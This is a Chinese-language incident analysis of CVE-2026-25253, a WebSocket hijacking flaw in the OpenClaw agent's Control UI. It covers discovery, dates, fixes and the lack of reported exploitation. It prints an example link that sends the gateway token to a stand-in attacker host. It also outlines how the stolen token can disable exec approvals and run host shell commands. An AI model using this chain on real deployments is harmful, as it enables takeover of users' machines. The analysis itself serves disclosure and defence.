
OpenClaw 控制界面 WebSocket 劫持:一个链接即可实现 RCE
- Orca新OrcaCyber: GLM 5.3 Abliterated / Uncensored2026-11-04$3.00 / $5.00 每百万 tokens · 75 tok/s
- Orca新OrcaCyber: Hy4 Abliterated / Uncensored2026-11-04$0.80 / $1.60 每百万 tokens · 112 tok/s
- Orca新OrcaCyber: Kimi K3.1 Pro Abliterated / Uncensored2026-11-04$4.00 / $20.00 每百万 tokens · 43 tok/s
- orca新Orca: OrcaC2 1.02026-10-303 tok/s
- Orca新OrcaCyber: MiniMax M3.1 Flash Abliterated / Uncensored2026-10-29$0.80 / $1.60 每百万 tokens · 100 tok/s
- Orca新OrcaCyber: GLM 5.3 Flash Abliterated / Uncensored2026-10-27$0.80 / $1.60 每百万 tokens · 101 tok/s
- Orca新OrcaCyber: Qwen3.8 Flash Next Abliterated / Uncensored2026-10-26$0.80 / $1.60 每百万 tokens · 95 tok/s
- Orca新OrcaCyber: MiMo V2.6 Flash Abliterated / Uncensored2026-10-26$0.80 / $1.60 每百万 tokens · 50 tok/s
- Moonshot新MoonshotAI: Kimi K3.1 Pro2026-10-2447智能
- Orca新OrcaCyber: DeepSeek V4.1 Flash Abliterated / Uncensored2026-10-23$0.80 / $1.60 每百万 tokens · 79 tok/s
- minimaxMiniMax: M3.1 Flash2026-10-1929智能
- OrcaOrca: OrcaCyber Ultra 1.02026-10-17$5.00 / $10.00 每百万 tokens · 111 tok/s
- deepseekDeepSeek: DeepSeek V4.1 Flash 10172026-10-1733智能
- DeepSeekDeepSeek: DeepSeek V4.1 Flash2026-10-1740智能
- OrcaOrca: OrcaCyber Zero 1.52026-10-10$3.00 / $7.50 每百万 tokens · 56 tok/s
- openaiOpenAI: GPT-6.1 Sol2026-09-2955智能
- anthropicAnthropic: Claude Sonnet 5.52026-09-2855智能
- typesafeTypeSafe: Jev 1.132026-09-24$0.04 / $0.00 每百万 tokens · 162 tok/s
- OpenAIOpenAI: GPT-6 Luna2026-09-2228智能
- OpenAIOpenAI: GPT-6 Sol2026-09-2244智能
2026年1月29日,安全公司Ethiack公布了关于OpenClaw中一个漏洞的说明。OpenClaw是一款开源个人AI代理,运行在用户自己的机器上,并由名为Control UI的浏览器仪表板驱动。一个精心构造的链接可能使该仪表板将网关的身份验证令牌交给攻击者,并借此获得以已登录用户身份运行shell命令的能力。CVE-2026-25253于2026年2月1日发布,项目自己的公告于次日发布,两者都将该漏洞评为8.8,高危。所有有人登录过Control UI的部署都在影响范围内,包括仅可通过回环地址访问的实例。本文查阅的资料均未记录该漏洞被用于攻击真实用户。该档案将此事件归档为高严重性基础设施事件,置信等级为B,日期精确到日为2026年1月29日,并将其与其他代理安全条目一同记录在Orca AI Incident Archive。
Control UI 对 URL 做了什么
OpenClaw 是一个自托管代理,用户通过消息应用和 Web 仪表板访问它,并且它运行时拥有 Ethiack 的文章所称的“完全系统访问权限”。该项目此前已经不止一次更名,在 OpenClaw 之前曾使用 Clawdbot 和 Moltbot 这两个名称,而 npm 的注册表记录显示,openclaw 包创建于 2026 年 1 月 29 日 11:08 UTC。仪表板才是这里的关键:它将网关令牌保存在浏览器存储中,而漏洞就存在于此。
The Control UI read a gatewayUrl value out of the page's query string in a function named applySettingsFromUrl() and adopted it without checking whether the target was a trusted or local domain. It then connected to that address automatically on page load, with no prompt, and the WebSocket connect frame carried the stored gateway authentication token along with a device ID and public key (SonicWall Capture Labs, 26 February 2026). A link of the form http://<target>/chat?gatewayUrl=ws://evil[.]com was therefore enough to send the token to a server the attacker controlled. OpenClaw's own advisory states the behaviour plainly: "The Control UI trusts gatewayUrl from the query string without validation and auto-connects on load, sending the stored gateway token in the WebSocket connect payload."
两个浏览器事实将那次泄露变成了接管。浏览器不会像对待普通 HTTP 请求那样对 WebSocket 连接应用同源策略,而网关在升级时未验证 Origin 头,因此受害者访问的页面上的 JavaScript 可以直接打开一个套接字连接到 ws://localhost:18789(depthfirst,2026 年 2 月 1 日)。由于出站连接由受害者自己的浏览器发起,该攻击能够触及绑定到回环地址、从网络上不可见的网关。项目公告称:“即使实例配置为仅监听回环地址,该漏洞也可被利用,因为出站连接由受害者的浏览器发起。”Ethiack 当时还记录了一个额外条件:其测试的稳定版 Chrome 构建默认未附带本地网络访问(Local Network Access)权限,因此浏览器也没有弹出提示。
被盗令牌所换来的东西,才是故事的后半段。它带有 operator.admin 和 operator.approvals 作用域。有了这些作用域,攻击者可以关闭执行审批:将 exec.approvals.set 设置为 "off";并将执行主机移出容器:设置 tools.exec.host 为 "gateway";然后通过 node.invoke / system.run 请求在主机上运行 shell 命令(depthfirst,2026 年 2 月 1 日;The Hacker News,2026 年 2 月 2 日)。厂商公告用一句话概括了结果:攻击者可以“修改配置(沙箱、工具策略)并调用特权操作,实现一键 RCE”。

由一台机器在不到两小时内发现
这次发现本身就是一次AI演练。Ethiack于2026年1月26日13:21 UTC让其自主渗透测试代理Hackian对一台在线的OpenClaw实例展开测试。约一小时四十分钟后,即15:05 UTC,它确认了该漏洞,这也是Ethiack的报告中作为标题突出的数字。该公司于18:02 UTC向OpenClaw的维护者报告了此事。根据Ethiack公布的时间线和该项目的提交历史,随后在1月27日提交了一个拉取请求,修复于1月28日晚间进入主分支。
第二个团队独立得出了相同结论。depthfirst 的创始安全研究员 Mav Levin 于 2026 年 2 月 1 日发表了自己的文章,文中写道:“OpenClaw 团队迅速处理并修复了我报告的问题”,并称另有人独立报告了同一个漏洞。GitHub 的安全公告将 DepthFirstDisclosures 列为报告者,并列出0xacb和mavlevin均为发现者。0xacb 账号使用的资料名称是 André Baptista,他是 Ethiack 那篇报告的三位共同作者之一,这与时间线吻合:Ethiack 针对该修复提出的拉取请求于 1 月 27 日从该账号发起,维护者的提交中还点名致谢。本文查阅的来源均未表示这两项工作在发表前彼此知晓,也无人对功劳归属提出异议。

该记录的日期,以及它前后的日期
档案将这条记录标注为2026年1月29日,精确到日,这与Ethiack的研究公开的日期相符。代码修复已于前一天合入。包含该修复的带标签发布随后在UTC时间1月30日凌晨发布,这在美国太平洋时间是1月29日傍晚:npm记录版本2026.1.29于1月30日04:49 UTC发布,GitHub发布为05:26 UTC。MITRE的CVE记录日期为2026年2月1日22:34 UTC,GitHub的安全公告为2月2日23:41 UTC,The Hacker News于2月2日报道了该漏洞。
记录引用的来源——Permission Protocol 的 agent 事件追踪器——维护着自己的时间线,其中部分内容滞后。它将补丁发布定在 2026-01-29,与版本号一致,却将漏洞的“早期报告”定在 2026-02-12,将 CVE-2026-25253 的广泛公开披露定在 2026-02-26,独立综述则在 2026-03-24。原始文件则不然。2 月 26 日这个日期对应 SonicWall 的补丁分析,该分析在标识符存在三周半后发布;而 2 月 12 日落在两篇研究文章和厂商分析之间,而不是在它们之前。追踪器时间线的最后一行还将该机制称为“零点击”;厂商公告称其为 1-click,而所有已发布的记述都描述受害者必须打开链接。在这些日期和标签不一致之处,本文以 CVE 记录、厂商公告和两篇研究文章为准。
关于该来源,有一点值得公开说明。Permission Protocol 销售的是授权门禁,其条目围绕自家产品本可阻止的情形来框定这起事件。该页面将这一评估标注为有条件的,并自称“该来源并未确立产品预防结果”。记录确实准确承载的是其框定方式:该研究在 CVE 出现前三天就已公开,因此档案将其称为早于 CVE-2026-25253 的早期发现。
实际受到损害的是什么
就任何来源的记录而言,什么都没有。档案将该记录的 real_harm 标记为 false,这与围绕该记录发布的所有内容一致。比利时网络安全中心于 2026 年 2 月 2 日发布公告称:“目前没有证据表明该漏洞已在野外被利用。”Ethiack、depthfirst、SonicWall 和 The Hacker News 均未报告受害者、安装实例遭入侵或数据被窃取,也没有任何一方给出有多少安装实例暴露在外的数字。Ethiack 仅指出,有“大量实例运行在公共服务器上”且配置薄弱,这只是一种印象,而非计数。
真正存在的是可用的漏洞利用代码。Ethiack 在发布其分析文章的同时公布了完整的漏洞利用源码,并针对自己的实例演示了该攻击链。SonicWall 二月份的分析显示,令牌捕获是“使用公开可用的漏洞利用程序”实现的。2026 年 3 月 9 日,GitHub 上出现了一个第三方概念验证仓库。公开的漏洞利用代码并不等同于实际利用,而档案库的危害标记针对的是后者。
有一个来源比其他来源更不严谨,值得指出。比利时公告的风险部分将机器人本身渲染攻击者控制的内容描述为触发因素,而这并非供应商公告或两份研究文章中的机制:在三者中,都是受害者的浏览器被诱骗至某个链接,代理才是目标,而不是投递载体。其关于利用的陈述是可引用的部分;其机制概述则不是。
改动了什么,以及第一次修复留下了哪些未解决的问题
2026.1.29 中的修复在 Control UI 切换到其他网关 URL 之前增加了一个确认对话框。该项目的公告将这一变更描述为“With the change users now need to confirm the new gateway URL in the UI”,并且渲染该对话框的文件存在于 v2026.1.29 标签中。这将攻击的成本从一次点击提高到一次点击加上一次有意的确认。但它并未消除对 URL 参数的底层信任。
Origin 验证是这条链的另一半,出现得更晚。SonicWall 的补丁分析记录称,“后续更新实施了严格的 Origin 验证控制”,并列出了四项检查:拒绝缺失或无效的 Origin 头;允许与 Host 头匹配的 Origin 主机;允许环回地址到环回地址;允许已配置的 allowedOrigins 列表中列出的源;并拒绝其他所有情况。这种先后顺序在项目 v2026.1.29 标签的源码中可见:其中的 WebSocket 升级处理器会读取并记录 Origin 头,却未对其应用策略。
其他响应是检测而非代码。SonicWall 为其所称的 OpenClaw 敏感数据暴露发布了 IPS 签名 21908。depthfirst 建议,如果怀疑存在暴露,应升级并轮换网关令牌,这直接源于该机制:被盗令牌在有人更改之前一直有效。
哪些是已确立的,哪些不是
根据原始文件确认:存在漏洞的代码路径从查询字符串中读取 gatewayUrl,并在未经校验的情况下自动连接;connect 帧携带了已存储的令牌;网关未校验 WebSocket origin,因此任意网站上的浏览器都能访问 loopback;该令牌带有 admin 和 approval 权限范围;2026.1.29 之前的版本均受影响;两个团队各自独立发现了该缺陷,其中一个是从外部开展工作的自主 agent。
尚未确定的是:是否有人利用过它、当时有多少安装实例可被访问到,以及仅靠确认对话框是否能击败一个坚定的攻击者。该档案的 B 级评级反映的是其引用基础仅为一个次级追踪器,而非对机制有任何怀疑,并且该记录未被标记为有争议。这些机制得到了供应商公告、MITRE 的 CVE 记录以及两份独立研究文章的佐证,这比该记录本身单独声称的还要多。

档案的一句话摘要称这是早于 CVE-2026-25253 的一次早期发现,而这也正是解读该条目的正确方式:它记录了一个漏洞在获得编号之前就被发现、报告并修复,而该产品本身用于在其所在机器上运行命令。随后的 CVE 描述了同样的三种行为——一个查询参数、一次未经提示的连接,以及握手中的一个令牌——而本文查阅的消息源均未显示另一端有人。
